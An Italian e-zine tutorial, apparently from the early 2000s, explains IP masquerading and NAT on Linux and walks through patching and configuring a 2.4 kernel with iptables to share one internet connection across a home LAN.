| iNTR0DUZi0NE ALL'iP MASQUERADiNG [Master Kain] 0x09/0x23 |
+--------------------------------------------------------------------------+
| |
| Salve a tutti, |
| mi presento, il mio nome e' Kain, fondatore del kuht, crew che esiste |
| dal 'lontano' 1999, la quale e' sempre rimasta anonima, per motivi che |
| ora non mi dilungo a spiegare. |
| Visto che mi sono licenziato da lavoro il 31, giorno di halloween, e ora |
| non ho nulla da fare se non aspettare di andare a lavorare nella grande |
| citta' che risponde al nome di Milano, mi sarebbe piaciuto 'raccontare' |
| un interessante esperimento, chiamato IP Masquerading. |
| |
| Molti di voi sapranno gia' di cosa si tratta, detto in parola |
| poverissime, si tratta di usare una linux box come router. |
| Non sapete cosa sia un router? Beh.. diciamo che e' un 'apparecchietto' |
| che messo su una lan, e' dotato di proprio indirizzo IP e viene usato |
| come gateway, altamente configurabile (letteralmente 'cancello') per far |
| si' che le macchine che fanno parte della nostra lan, navighino |
| anch'esse su internet. |
| Quando questo avviene potremmo dire che le nostre macchine escono quindi |
| 'mascherate' (visto che avranno lo stesso indirizzo IP del nostro |
| router, ovviamente). |
| Scenderemo in dettaglio sui termini specifici e sulle tecniche piu' |
| tardi. |
| |
| L'IP Masquerading e' ottenuto attraverso le funzionalita' di firewall a |
| filtro di pacchetto (PACKET_FILTERING) dei moderni kernel linux. |
| In questo mini how-to spieghero' infatti come abilitare l'IP |
| Masquerading sotto kernel recenti, vale a dire la serie 2.4.x, mentre se |
| avro' tempo e voglia potro' espanderlo anche con i 2.2.x (molta gente |
| preferisce la serie 2.2.x alla 2.4.x, ma se usate una moderna |
| distribuzione di linux, sicuramente avrete il 2.4.x). |
| |
| # Ip Masquerading in breve ed esempio teorico |
| |
| Nei kernel recenti, linux utilizza il programma NETFILTER, attraverso |
| una interfaccia chiamata IPTABLES (gia' sentita eh ;) per eseguire il |
| packet filtering, la traduzione degli indirizzi di rete (NA , network |
| address translation), il masquerading e il port forwarding, molto |
| importante. |
| |
| A chi serve IP Masquerading? |
| Beh.. diciamo che serve a gente come me :), poniamo il caso di avere DUE |
| computer e una connessione PPP o SLIP di qualsiasi tipo, come modem, |
| ADSL, o quanto altro. |
| Solo uno di essi puo' essere collegato alla rete, giusto? Bene, facciamo |
| una cosa. |
| |
| > occorrente: 2 schede ethernet (3 per modem adsl o quanto altro), linux |
| box che fungera' da server, un client (faremo l'esempio di winzoz), |
| connessione internet. |
| |
| Molto bene, supponiamo che la linux box sia collegata in rete con il |
| client windows e possa navigare su internet. |
| Noi vogliamo che anche il nostro windows 98, riesca a navigare, |
| sfruttando la banda che usa linux, di conseguenza, dovremo attivare una |
| sorta di 'condivisione' della connessione internet di linux. |
| Questo e' l'esempio della piu' comune LAN casalinga, pero' come potete |
| vedere l'IP Masquerading e' MOLTO utile se non si vogliono spendere |
| soldi e tempo per fare navigare i nostri client. |
| |
| Questo esempio non e' che l'UNITA' minima di quello che possiamo fare |
| con IP Masquerading, infatti il progetto spazia dalla piu' piccola e |
| insignificante LAN (come da esempio sopra) a quella piu' grosse |
| professionale che possiamo costruire. |
| Vedremo in seguito come fare, se siete arrivati fino qui sono certo che |
| la cosa vi interessa ;) (perche' non riprendere in mano quel vecchio 486 |
| che sta in cantina........) |
| |
| Un server di questo tipo solitamente potrebbe venire tenuto come un vero |
| e proprio rottame, senza mouse, senza monitor, basta che sia acceso e |
| che faccia il proprio dovere (e spesso non e' nemmeno un macchina |
| potente, anzi), cosi' possiamo considerare la macchina che andremo a |
| configurare e costruire. |
| |
| # Ip Masquerading a basso livello e altro (NAT, SNAT, DNAT) |
| |
| Alcuni di voi non avranno familiarita' con il concetto di NAT. |
| Vi posso dire che esso vi consente di riscrivere le intestazioni dei |
| pacchetti quando essi passano attraverso il firewall. |
| Queste intestazioni possono essere riscritte quando lasciano il firewall |
| (post-routing) e causano la modifica dell'indirizzo sorgente del sistema |
| che ha iniziato la connessione con l'indirizzo esterno del firewall. |
| Di conseguenza il server su internet vede una connessione come originata |
| dal firewall o dal sistema NAT. |
| Detto in termini semplici, le macchine della nostra rete, escono su |
| internet tutte con lo stesso IP. |
| indirizzo IP. |
| Poiche' l'indirizzo sorgente viene cambiato, netfilter chiama questa |
| traduzione Source NAT (SNAT); potete usare SNAT per proteggere una rete |
| con indirizzo IP pubblici. |
| L'IP Masquerading e' una forma specializzata di SNAT, ed e' comunemente |
| usata per consentire a una rete con indirizzi IP privati (quindi |
| indirizzi ip NON accessibili da internet) di essere in grado di accedere |
| a internet, come spiegato sopra nel nostro esempio. |
| Solitamente l'IP Masquerading e' riservato per gli account telefonici |
| con indirizzi IP dinamici. |
| Se non conoscete l'indirizzo IP che vi viene assegnato nel momento che |
| vi collegate con il vostro ISP (o provider) di fiducia, questa e' |
| probabilmente la vostra situazione e dovrete utilizzare IP Mas uerading |
| invece di SNAT. |
| |
| Un altro tipo di traduzione degli indirizzi (packet mangling, andra' |
| abilitato nel kernel successivamente ;) che netfilter consente, e' |
| chiamato Destination NAT (DNAT). |
| Questa forma di mangling degli indirizzi e' eseguita PRIMA dal routing |
| ed e' usata per ottenere una connessione iniziale al sistema NAT che |
| viene poi rediretta ad un sistema interno. |
| Generalmente e' chiamato PORT-FORWARDING (forward = portare |
| avanti,inoltrare, in questo caso), visto che il forwarding generalmente |
| si basa sulla porta di connessione iniziale. |
| Questo allora vi consentira' di avere sistemi SEPARATI sulla vostra rete |
| trusted (in fiducia) per la gestione di servizi, i soliti HTTP, DNS, |
| MAIL, FTP e via dicendo, ma che pero' appaiono al mondo come se avessero |
| origine dallo stesso sistema NAT. |
| Questa forma di mangling richiede che abbiate un indirizzo IP |
| accessibile da internet, se dovete usare l'IP Masquerading, non sarete |
| in grado di usare DNAT. |
| |
| > due reti, due mondi |
| |
| il software dei firewall a packet filtering e' usato per NASCONDERE una |
| rete pubblica interna e per consentire l'ingresso solo al traffico |
| determinato. |
| |
| ------------- |
| | 62.211.17.2 |--| |
| ------------- /---\ /-----------------------------\ |
| | 62.211.17.1 |-|HUB|-| SERVER/GATEWAY (62.211.17.1)|-{ISP}-[INTERNET] |
| ------------- \---/ \-----------------------------/| |
| | 62.211.17.3 |--| | |
| ------------- | |
| tutte le macchine devono usare |
| un indirizzo IP valido per navigare |
| |
| |
| lo schema di rete che non segue queste regole, sono le reti domestiche, |
| come nel nostro caso e delle piccole reti aziendali, le quali non |
| hanno miriadi di indirizzi ip accessibili da internet, ma ne hanno uno |
| solo, che gli viene assegnato all'isp tramite un collegamento |
| telefonico. |
| |
| ------------- |
| | 192.168.0.2 |--| |
| ------------- /----\ /----------------\ |
| | 192.168.0.3 |-|HUB|--| SERVER/GATEWAY |-{ISP}-[INTERNET] |
| ------------- \----/ \----------------/| |
| | 192.168.0.4 |--| | -----------| |
| ------------- | | |
| ip assegnato dal provider ad le macchine usano ip fittizi |
| esempio 62.211.17.128, e fa per accedere a internet |
| uscire le macchine della lan |
| con questo indirizzo ip |
| |
| Quindi, ricapitolando, l'IP Masquerading offre a tutte le macchine |
| connesse alla nostra LAN, l'accesso ad una rete esterna, usando un solo |
| indirizzo IP sulla nostra macchina server :) |
| Tutti i pacchetti di rete associati a internet sono mascherati come se |
| fossero inviati dal server che esegue il masquerading ed il server |
| mantiene tutte le informazioni necessarie per INSTRADARE alle |
| macchine interne i pacchetti che vengono restituiti dalla rete. |
| |
| Qualcuno potrebbe pensare che ogni connessione e' sia SNAT che DNAT, in |
| funzione della direzione nella quale i pacchetti stanno andando. |
| Rispondo che e' il pacchetto iniziale della connessione, cioe' il |
| pacchetto di sincronizzazione (vale a dire pacchetto con impostato solo |
| il bit di SYN), che determina il tipo di connessione, dopodiche' |
| il tracking delle connessioni consente che i pacchetti di ritorno |
| arrivino al sistema che ha originato la connessione. |
| |
| # IP Masquerading in pratica, applicazione per i kernel 2.4.x |
| |
| Assicuratevi di avere le sorgenti del vostro kernel preferito, ed |
| entrate nella directory, sperando che sappiate quello che state facendo |
| (questo documento NON vuole spiegare come si compilano il ke |
| nel, esistono ottimi HOWTO). |
| Solitamente sono in /usr/src/linux, entrate ed eseguite un: |
| |
| per attivare IP Masquerading avrete bisogno di: |
| > un computer (beh..) |
| > linux (ovviamente..) |
| > sorgenti del kernel (http://www.kernel.org) ed un LKM |
| (http://www.pi.se/blox/modutils/index.html) |
| > una configurazione TCP/IP funzionante (affronteremo il discorso |
| nel nostro esperimento fisico) |
| > connettivita' a internet |
| > iptables (2.4.x) / ipchains (2.2.x) / ipfwadm (2.0.x) |
| > supporto del kernel per IP forwarding, IP masquerading, IP |
| Firewalling, eccetera |
| |
| alcune distribuzioni sono PRONTE per fare ip-masquerading, ma altre no, |
| quindi e' bene dare una occhiata prima di attuare qualsiasi |
| procedimento. |
| |
| eseguite questo comando: |
| |
| # ls /proc/sys/net/ipv4 |
| |
| se compaiono anche |
| |
| ip_dynaddr |
| ip_forward |
| |
| allora non avrete bisogno di ricompilare il kernel, visto che sara' gia' |
| pronto per ip masquerading e potrete saltare oltre questo capitolo. |
| |
| Se invece non appare nulla del genere, allora dovrete seguire questi |
| passi. |
| |
| |
| ### Compilazione e installazione del kernel NON Ip Masquerading ready |
| |
| Prima di tutto, avete bisogno dei sorgenti del kernel (spero li abbiate |
| gia' e che abbiate anche il supporto per IPTABLES, come in tutti i |
| kernel recenti) |
| |
| Prossimo passo, avete bisogno di IPTABLES per applicare le patch sul |
| kernel, per esempio l'archivio IPTABLES abilita il mascheramento per il |
| traffico FTP (anche IRC, in qualche kernel tree). |
| http://netfilter.filewatcher.org/ |
| |
| Non e' consigliato mettere le nuove sorgenti del kernel in |
| /usr/sr/linux, lascia questa cartella (contiene i sorgenti originali del |
| kernel della tua distribuzione di linux) cosi' com'e', creeremo un'altra |
| cartella per compilare. |
| |
| Crea una cartella chiamata /usr/src/kernel, entra in questa directory e |
| scarica le sorgenti del kernel qua dentro. |
| Una volta scaricato, se il file e' un tar.gz |
| # tar xvzf linux-2.4.x.tar.gz |
| o se finisce per bz2 |
| # tar xyvf linux-2.4.x.tar.bz2 |
| |
| sostituisci la x nel file del kernel con la versione che hai scaricato. |
| Alcune distribuzioni di linux usano il flag 'I' invece del 'y' per |
| scompattare gli archivi bzip2. |
| |
| Una volta decompresso, rinomina la directory da linux a linux-2.4.x per |
| chiarezza, per farlo: |
| # mv linux linux-2.4.x |
| assicurati poi che c'e' una cartella o un link simbolico che punta a |
| /usr/src/kernel/linux, vale a dire: |
| # ln -s /usr/src/kernel/linux-2.4.x /usr/src/kernel/linux |
| |
| E' raccomando installare ogni appropriata o patch opzionale alle |
| sorgenti del kernel PRIMA di compilarlo. |
| Ad esempio installare le patch puo' servire ad abilitare particolari |
| moduli che supportano applicazioni come IRC, FTP e quando altro. |
| |
| > applicare i patch IPTABLES al kernel |
| |
| scarica i pacchetti iptables dall'url che vi ho proposto sopra e |
| piazzatelo in una directory, chiamata |
| /usr/src/archive/netfilter. |
| Andate in questa directory e decomprimete l'archivio iptables con il |
| comando: |
| |
| # tar xyvf iptables-1.2.x.tar.bz2 |
| |
| ora andate nella nuova directory iptables-1.2.x ed eseguite |
| |
| # make pending-patches KERNEL_DIR=/usr/src/kernel/linux |
| nota: questo fa si' che le sorgenti del kernel 2.4.x sono in |
| /usr/src/kernel/linux nota #2: se inserisci un '/' alla fine della riga |
| di comando, ti ritornera' un errore dicendo: |
| |
| # make: *** [/usr/src/kernel/linux/include/asm/socket.h] Error 1". |
| |
| Rimuovi la '/' e riprova. |
| |
| Ecco un esempio del prompt che potresti ricevere per il kernel 2.4.4 |
| (nota che questo potrebbe cambiare con il tempo). |
| |
| |
| Making dependencies: please wait... |
| ----------------------------------------------------------------- |
| Welcome to Rusty's Patch-o-matic! |
| |
| Each patch is a new feature: many have minimal impact, some do not. |
| Almost every one has bugs, so I don't recommend applying them all! |
| ------------------------------------------------------- |
| Already applied: 2.4.1 tos-fix tcp-MSS |
| |
| Testing... 2.4.4.patch ALREADY APPLIED (4 rejects out of 96 hunks). |
| |
| Excellent! Kernel is now ready for compilation. |
| ----------------------------------------------------------------- |
| |
| Giusto per essere completi, questo e' il prompt che potresti ricevere |
| per il kernel 2.4.3 |
| |
| |
| |
| Making dependencies: please wait... |
| ----------------------------------------------------------------- |
| Testing... 2.4.1.patch ALREADY APPLIED (0 rejects out of 6 hunks). |
| ----------------------------------------------------------------- |
| Testing... tos-fix.patch ALREADY APPLIED (0 rejects out of 1 hunks). |
| ----------------------------------------------------------------- |
| Testing... tcp-MSS.patch ALREADY APPLIED (0 rejects out of 4 hunks). |
| ----------------------------------------------------------------- |
| Testing... 2.4.4.patch NOT APPLIED ( 2 missing files) |
| The 2.4.4 patch: |
| Author: Rusty Russell <rusty@rustcorp.com.au> and others. |
| Status: Recommended (Already in 2.4.4 and above). |
| |
| This contains numerous fixes: |
| |
| 1) FTP cleanup: |
| o Fixes for bugtraq-announced FTP security problems. |
| o Understanding of EPSV and EPRT FTP extensions. |
| o Servers with unusual PASV responses are supported. |
| o FTP connection tracking and NAT on unusual ports. |
| o Core "helper" code moved to ip_nat_helper.c. |
| 2) NAT now doesn't drop untracked packets (eg. multicast, nmap, etc). |
| 3) SMP race with connection tracking is fixed. |
| 4) NAT now spreads more evenly, if given a range of IP addresses. |
| 5) Masquerading now cooperates with diald better. |
| 6) DNAT and SNAT rules can only be inserted in the "nat" table. |
| 7) mtr through a connection tracking box will no longer drop 90% of |
| packets. |
| 8) Reloading the iptable_nat module won't get old, stale NAT |
| information. |
| 9) First packet of a connection is seen by the helper functions. |
| 10) "hashsize" parameter to ip_conntrack module. |
| |
| Do you want to apply this patch [N/y/t/f/q/?] y |
| |
| Testing patch 2.4.4.patch... |
| Patch 2.4.4.patch applied cleanly. |
| Applying pa
tch 2.4.4.patch... |
| Patch 2.4.4.patch applied cleanly. |
| ----------------------------------------------------------------- |
| |
| Excellent! Kernel is now ready for compilation. |
| |
| |
| Se tutto e' andato bene, dovresti vedere qualcosa come "Excellent!" |
| Il kernel e' pronto per la compilazione. |
| |
| OK, il kernel e' pronto, ma dovresti essere sicuro che hai anche il |
| programma iptables sulla tua macchina. |
| Esegui: |
| |
| # whereis iptables |
| |
| e assicurati che e' installato (la cartella di default e' piazzata in |
| /usr/local/sbin/iptables) |
| |
| Se non trova nulla, raccomando semplicemente di compilare. |
| Siccome hai gia' patchato il kernel con il patch di IPTABLES, compilare |
| IPTABLES dovrebbe essere semplice, segui questi passi: |
| |
| # make KERNEL_DIR=/usr/src/kernel/linux |
| # make install KERNEL_DIR=/usr/src/kernel/linux |
| |
| |
| ### Configurazione per i kernel Ip Masquerading ready |
| |
| andate nella directory che contiene la sorgente del kernel e fate un |
| |
| # make menuconfig |
| |
| o se preferite, e se siete in ambiente X: |
| |
| # make xconfig |
| |
| una volta che siete nel menu dovremo andare a verificare queste cosucce: |
| |
| [ Code maturity level options ] |
| |
| * Prompt for development and/or incomplete code/drivers |
| (CONFIG_EXPERIMENTAL) [Y/n/?] |
| - YES: non e' richiesto per ip masquerading, ma abilita il kernel |
| per creare i moduli MASQ e abilitare l'opzione per il port |
| forwarding |
| |
| * Enable loadable module support (CONFIG_MODULES) [Y/n/?] |
| - YES: permette al kernel di abilitare i moduli IP MASQ |
| |
| * Set version information on all module symbols |
| (CONFIG_MODVERSIONS) [Y/n/?] |
| - YES: permette al kernel di caricare vecchi moduli se possibile |
| |
| * Kernel module loader (CONFIG_KMOD) [Y/n/?] |
| - OPTIONAL: Raccomandato : permette al kernel di caricare vari |
| moduli se e quando ne ha bisogno |
| |
| == Opzioni Non-MASQ saltate |
| == (CPU , memoria, SMP, FPU, specific stuff) |
| |
| |
| [ General setup ] |
| |
| * Networking support (CONFIG_NET) [Y/n/?] |
| - YES: Abilita il sistema networking |
| |
| == Opzioni Non-MASQ saltate |
| == (specific hardware, PCI, kernel binaries, PCMCIA, etc.) |
| |
| |
| * Sysctl support (CONFIG_SYSCTL) [Y/n/?] |
| - YES: Permette l'abilita' di abilitare/disabilitare le opzioni |
| come il forwarding, ip dinamici tramite l'interfaccia /proc |
| |
| [ Block devices ] |
| |
| == Opzioni Non-MASQ saltate |
| == (kernel binaries, power management, PnP, RAID, etc.) |
| |
| == Non dimenticare di compilare il supporto per l' hardware di |
| cui avresti bisogno: |
| == IDE controllers, HDs, CDROMs, etc. |
| |
| [ Networking options ] |
| |
| * Packet socket (CONFIG_PACKET) [Y/m/n/?] |
| - YES: Permette di usare TCPDUMP per fare un debug di qualsiasi |
| problema con IP MASQ |
| |
| * Packet socket: mmapped IO (CONFIG_PACKET_MMAP) [N/y/?] y |
| - YES: Accelera il packet protocol |
| |
| * Kernel/User netlink socket (CONFIG_NETLINK) [Y/n/?] |
| - OPTIONAL: Raccomandato : questa feature abilita il logging dei |
| problemi di firewall avanzati. |
| |
| * Routing messages (CONFIG_RTNETLINK) [N/y/?] (NEW) y |
| - OPTIONAL: Abilita il supporto per gli advanced kernel routing |
| messages se hai abilitato l'opzione CONFIG_NETLINK |
| |
| * Netlink device emulation (CONFIG_NETLINK_DEV) [N/y/m/?] (NEW) |
| - NO: Questa opzione non ha nulla a che fare con il logging dei |
| pacchetti firewall |
| |
| * Network packet filtering (replaces ipchains) |
| (CONFIG_NETFILTER) [N/y/?] y |
| - YES: Fa si' che IPTABLES configura le sottosezione TCP/IP del |
| kernel, come spiegato sopra. Abilitando questo, abiliti i |
| meccanismi avanzati di routing, come ip masq, packet |
| filtering e cosi' via |
| |
| * Network packet filtering debugging |
| (CONFIG_NETFILTER_DEBUG) [N/y/?] (NEW) n |
| - NO: Non richiesto dal Masquerading, ci potrebbe essere una |
| penalizzazione di performance abilitandolo. |
| |
| * Socket Filtering (CONFIG_FILTER) [Y/n/?] |
| - OPTIONAL: Raccomandato : Pensando che non ha niente a che fare |
| con IP Masquerading, se hai in mente di installare un |
| server DHCP sulla tua rete interna devi abilitare |
| questa opzione. |
| |
| * Unix domain sockets (CONFIG_UNIX) [Y/m/n/?] |
| - YES: Abilita i meccanismi e i sistemi dei socket UNIX |
| |
| * TCP/IP networking (CONFIG_INET) [Y/n/?] |
| - YES: Abilita il protocollo TCP/IP |
| |
| * IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?] |
| - OPTIONAL: Puoi abilitarlo se vuoi ricevere del traffico |
| Multicast, nota che il tuo ISP deve supportare |
| Multicast per farlo funzionare |
| |
| * IP: advanced router (CONFIG_IP_ADVANCED_ROUTER) [Y/n/?] |
| - OPTIONAL: Non c'e' niente di legato a IP Masquerading, ma qualche |
| opzione potrebbe essere utile. |
| |
| == Opzioni Non-MASQ saltate |
| == ( autoconf, tunneling ) |
| |
| * IP: multicast routing (CONFIG_IP_MROUTE) [N/y/?] n |
| - OPTIONAL: Non pensato per IPMASQ, questa feature vi permette di |
| fare routing del traffico multicast attraverso la tua |
| Linux box. |
| Questo non richiede che il tuo ISP abbia il traffico |
| multicast abilitato |
| |
| == Opzioni Non-MASQ saltate |
| == (ARPd) |
| |
| * IP: TCP Explicit Congestion Notification support |
| (CONFIG_INET_ECN) [N/y/?] n |
| - NO: Abilitare questa opzione sarebbe bello, ma molti siti |
| internet bloccano questa feature. |
| Premi '?' quando configuri il kernel per saperne di piu' su |
| questa opzione, rispondi NO per ora. |
| |
| * IP: TCP syncookie support (disabled per default) |
| (CONFIG_SYN_COOKIES) [Y/n/?] |
| - YES: Raccomandato : per la sicurezza TCP/IP di base |
| (mm..ho sentito un exploit recente su questo.. ;) |
| |
| |
| [ Networking options --> IP: Netfilter Configuration ] |
| |
| |
| * Connection tracking (required for masq/NAT) |
| (CONFIG_IP_NF_CONNTRACK) [N/y/m/?] (NEW) m |
| - YES: (Module) Abilita il kernel per tenere traccia delle varie |
| connessioni alla rete. |
| E' richiesta da IPMASQ per abilitare le tracce di |
| vari meccanismi firewall. |
| Nota che se compili questa opzione direttamente nel |
| kernel (senza modulo) non potrai abilitare i moduli |
| compatibili IPCHAINS o IPFWADM |
| |
| * FTP protocol support (CONFIG_IP_NF_FTP) [M/n/?] (NEW) m |
| - YES: (Module) Abilita il supporto Masquerading per le connessioni |
| FTP se CONFIG_IP_NF_CONNTRACK e' stato abilitato sopra. |
| |
| * Userspace queueing via NETLINK (EXPERIMENTAL) |
| (CONFIG_IP_NF_QUEUE) [N/y/m/?] (NEW) m |
| - OPTIONAL: questa feature permette a IPTABLES di copiare pacchetti |
| specifici ai tools UserSpace per controlli addizionali |
| |
| * IP tables support (required for filtering/masq/NAT) |
| (CONFIG_IP_NF_IPTABLES) [N/y/m/?] (NEW) m |
| - YES: (Module) Abilita il supporto IPTABLES |
| |
| * limit match support (CONFIG_IP_NF_MATCH_LIMIT) [N/y/m/?] (NEW) y |
| - OPTIONAL: (Module) Raccomandato : Non e' richiesto, ma questa |
| opzione puo' essere usata per abilitare il |
| rate limiting del traffico e i messaggi di |
| loggin per rallentare gli attacchi DoS |
| |
| * MAC address match support (CONFIG_IP_NF_MATCH_MAC) |
| [N/y/m/?] (NEW) m |
| - OPTIONAL: Non e' richiesto, ma questa opzione ti permette di |
| filtrare il traffico basato sulla sorgente degli |
| indirizzi MAC delle Ethernet |
| |
| * netfilter MARK match support (CONFIG_IP_NF_MATCH_MARK) |
| [N/y/m/?] (NEW) y |
| - YES: (Module) Raccomandato : Permette a IPTABLES di prendere |
| provvedimenti sui pacchetti marcati. |
| Questo meccanismo abilita le |
| funzionalita' PORTFW, TOS marking e |
| altro |
| |
| * Multiple port match support (CONFIG_IP_NF_MATCH_MULTIPORT) |
| [N/y/m/?] (NEW) y |
| - YES: (Module) Recommended : Abilita IPTABLES ad accettare range |
| di porte multiple SRC/DST all'interno |
| di un port range per l'IPTABLES |
| statement |
| |
| * TOS match support (CONFIG_IP_NF_MATCH_TOS) [Y/m/n/?] n |
| - OPTIONAL: Abilita IPTABLES di confrontare i pacchetti basati sui |
| loro settaggi DIFFSERV |
| |
| * tcpmss match support (CONFIG_IP_NF_MATCH_TCPMSS) [N/y/m/?] m |
| - OPTIONAL: (Module) Raccomandato : Questa opzione abilita gli |
| utenti a esaminare il valore di |
| MSS nei pacchetti TCP SYN. |
| Potrebbe essere d'aiuto nella |
| risoluzione dei problemi legati |
| al valore dell'MTU |
| |
| * Connection state match support (CONFIG_IP_NF_MATCH_STATE) [M/n/?] m |
| - YES: (Module) Raccomandato : permette il tracking delle |
| connessione alla network |
| |
| * Unclean match support (EXPERIMENTAL) |
| (CONFIG_IP_NF_MATCH_UNCLEAN) [N/y/m/?] y |
| - YES: (Module) Recommended : questa opzione permette il tracking |
| su pacchetti odd. |
| puo' essere anche di aiuto nel |
| rintracciamento di pacchetti |
| 'pericolosi' e anche un tool per |
| tenere traccia della gente ostile |
| sulla rete |
| |
| * Owner match support (EXPERIMENTAL) |
| (CONFIG_IP_NF_MATCH_OWNER) [N/y/m/?] n |
| - OPTIONAL: permette a IPTABLES di confrontare il traffico |
| basato su user login, group, ecc, in pratica chi ha |
| creato traffico. |
| |
| * Packet filtering (CONFIG_IP_NF_FILTER) [N/y/m/?] ? y |
| - YES: (Module) Permette al kernel di poter abilitare il filtro |
| del traffico a INPUT, FORWARD e OUTPUT. |
| |
| * REJECT target support (CONFIG_IP_NF_TARGET_REJECT) |
| [N/y/m/?] (NEW) y |
| - YES: (Module) Con questa opzione, un firewall basato su |
| pacchetti, puo' mandare un pacchetto ICMP Reject, |
| indietro a chi lo ha mandato, quando il pacchetto |
| viene bloccato |
| |
| * MIRROR target support (EXPERIMENTAL) (CONFIG_IP_NF_TARGET_MIRROR) |
| [N/y/m/?] (NEW) n |
| - OPTIONAL: Questa opzioni abilita il firewall di copia esattamente |
| lo stesso pacchetto indietro a chi lo ha mandato, |
| supponendo che sia stato bloccato. |
| |
| * Full NAT (CONFIG_IP_NF_NAT) [M/n/?] m |
| - YES: (Module) Questa opzioni abilita i futuri menus per |
| abilitare Masquerading, PORTFWing, |
| Full (1:1) NAT, e cosi' via. |
| |
| * MASQUERADE target support (CONFIG_IP_NF_TARGET_MASQUERADE) |
| [M/n/?] (NEW) m |
| - YES: (Module) carica il modulo Masquerade direttamente nel kernel |
| |
| * REDIRECT target support (CONFIG_IP_NF_TARGET_REDIRECT) [N/y/m/?] n |
| - OPTIONAL: Non e' necessario per le normali funzionalita' di |
| Masquerading, ma quella gente che vuole un proxy via |
| Squid dovrebbe abilitarlo. |
| |
| |
| * Packet mangling (CONFIG_IP_NF_MANGLE) [N/y/m/?] y |
| - YES: (Module) Questa opzione abilita le funzioni per la |
| manipolazione di pacchetti avanzate per IPTABLES |
| |
| |
| * TOS target support (CONFIG_IP_NF_TARGET_TOS) [N/y/m/?] (NEW) n |
| - OPTIONAL: Abilita il kernel a modificare il campo TOS in un |
| pacchetto prima che faccia del routing |
| |
| * MARK target support (CONFIG_IP_NF_TARGET_MARK) [N/y/m/?] (NEW) m |
| - OPTIONAL: (Module) Raccomandato : Permette al kernel di manipolare |
| pacchetti basati sul campo MARK. |
| Puo' essere usato per PORTFW |
| come molte altre cose. |
| |
| * LOG target support (CONFIG_IP_NF_TARGET_LOG) [N/y/m/?] m |
| - YES: (Module) Permette il logging di pacchetti prima che possano |
| essere accettati, respingi, negati, ecc |
| |
| * TCPMSS target support (CONFIG_IP_NF_TARGET_TCPMSS) [N/y/m/?] ? m |
| - YES: (Module) Puo' aiutare a risolvere i problemi di MTU. |
| Tipicamente, molti utenti hanno settato la MTU |
| della loro connessione internet a 1500 (io 1492). |
| come tutte le altre macchine internet. |
| Con questa opzione questo problema e' stato risolto. |
| |
| * ipchains (2.2-style) support (CONFIG_IP_NF_COMPAT_IPCHAINS) |
| [N/y/m/?] m |
| - OPTIONAL: (Module) Raccomandato : Se hai gia' un ruleset IPCHAINS |
| (kernel 2.2.x) e abiliti questa |
| opzione, potrai continuare ad |
| usare il programma IPCHAINS. |
| Nota che se abiliti IPCHAINS, |
| tutti i moduli IPTABLES non |
| saranno funzionali. |
| |
| * ipfwadm (2.0-style) support (CONFIG_IP_NF_COMPAT_IPFWADM) |
| [N/y/m/?] n |
| - OPTIONAL: Lo stesso di sopra, vale con i ruleset IPFWADM |
| (kernel 2.0.x) |
| |
| == Opzioni Non-MASQ saltate |
| == (IPv6, khttpd, ATM, IPX, AppleTalk, etc.) -- |
| |
| * Fast switching (read help!) (CONFIG_NET_FASTROUTE) [N/y/?] n |
| - NO: Questa operazione di ottimizzazione delle prestazioni NON e' |
| compatibile con IPMASQ e/o il packet filtering |
| |
| == Opzioni Non-MASQ saltate |
| == (QoS, Telephony, IDE, SCSI, 1394FW, I2O, etc) |
| |
| == Non dimenticare di compilare il supporto per l'hardware di cui |
| == hai bisogno: |
| == IDE: HDs, CDROMs, etc. |
| == SCSI: HDs, CDROMs, etc. |
| |
| |
| [ Network device support ] |
| |
| * Network device support (CONFIG_NETDEVICES) [Y/n/?] |
| - YES: Abilita il sublayer delle device per la rete Linux |
| |
| == Opzioni Non-MASQ saltate |
| == (Arcnet) |
| |
| |
| * Dummy net driver support (CONFIG_DUMMY) [M/n/y/?] |
| - YES: Pensatelo OPTIONAL, pero' puo' aiutare a fare il degub di |
| problemi |
| |
| == Opzioni Non-MASQ saltate |
| == (EQL, etc..) |
| |
| == Don't forget to compile in support for hardware that you might |
| == need: |
| == NICs: eth, tr, etc. |
| == MODEMs: ppp (ppp async) and/or slip |
| == WANs: T1, T3, ISDN, etc. |
| == ISDN: for internal ISDN modems |
| |
| |
| == Non-MASQ options skipped |
| == (Amateur Radio, IrDA, ISDN, USB, etc.) |
| |
| |
| [ Character devices ] |
| |
| == Opzioni Non-MASQ saltate |
| == (I2C, Watchdog cards, Ftape, Video for Linux, etc. ) |
| |
| |
| [ File systems ] |
| |
| == Opzioni Non-MASQ saltate |
| == (Quota, ISO9660, NTFS, etc ) |
| |
| * /proc filesystem support (CONFIG_PROC_FS) [Y/n/?] |
| - YES: richiesto per configurare dinamicamente il linux forwarding |
| e i sistemi NAT |
| |
| == Opzioni Non-MASQ saltate |
| == (Console drivers, Sound, USB, Kernel Hacking) |
| |
| Ok, ora salvate la vostra configurazione, siete pronti per compilare. |
| Non saro' io a dirvi come compilare, come detto in precedenza, ma vi |
| daro' una mano |
| # make dep |
| # make clean |
| # make bzImage |
| # make modules |
| # make modules_install |
| per sapere cosa dovete fare dopo, riferitevi ai kernel howto, in |
| particolare a uno: |
| http://gpu.firenze.linux.it/test/kernel_2-4.html |
| |
| Successivamente dovete aggiornare il bootloader, ed e' sempre spiegato |
| in questo howto soprastante. |
| |
| Bene, ora abbiamo i kernel a posto e possiamo passare alla |
| configurazione del nostro firewall. |
| Aprite il file /etc/rc.d/rc.local del vostro server linux con il vostro |
| editor preferito e aggiungete le seguenti righe: |
| |
| #rc.firewall - Partenza di IPMASQ e del Firewall |
| # |
| |
| /etc/rc.d/rc.firewall |
| |
| salvate e chiudete il file. |
| |
| prima di continuare, dovete assicurarvi che la vostra LAN sia a posto. |
| potete fare un |
| |
| # ifconfig |
| |
| per controllare quali periferiche di rete siano in funzione. |
| Nel caso non sappiate settare una rete, anche per questo ci sono ottimi |
| howto in giro. |
| Poniamo il caso che sul vostro server abbiate una scheda ethernet che |
| viene gia' riconosciuta da linux e funzionante. |
| A seconda delle classi che volete sulla vostra network privata, io |
| consiglio di tenere un range di classe C |
| |
| Classe Inizio indirizzo Fine indirizzo Mask |
| A 10.0.0.0 - 10.255.255.255 8 |
| B 172.16.0.0 - 172.31.255.255 16 |
| C 192.168.0.0 - 192.168.255.255 24 |
| |
| quindi di avere macchine che abbiano indirizzo 192.168.0.x poniamo che |
| il server abbia indirizzo (statico interno privato riservato, come lo |
| volete chiamare) 192.168.0.1 per attivare questa interfaccia: |
| |
| # ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up |
| |
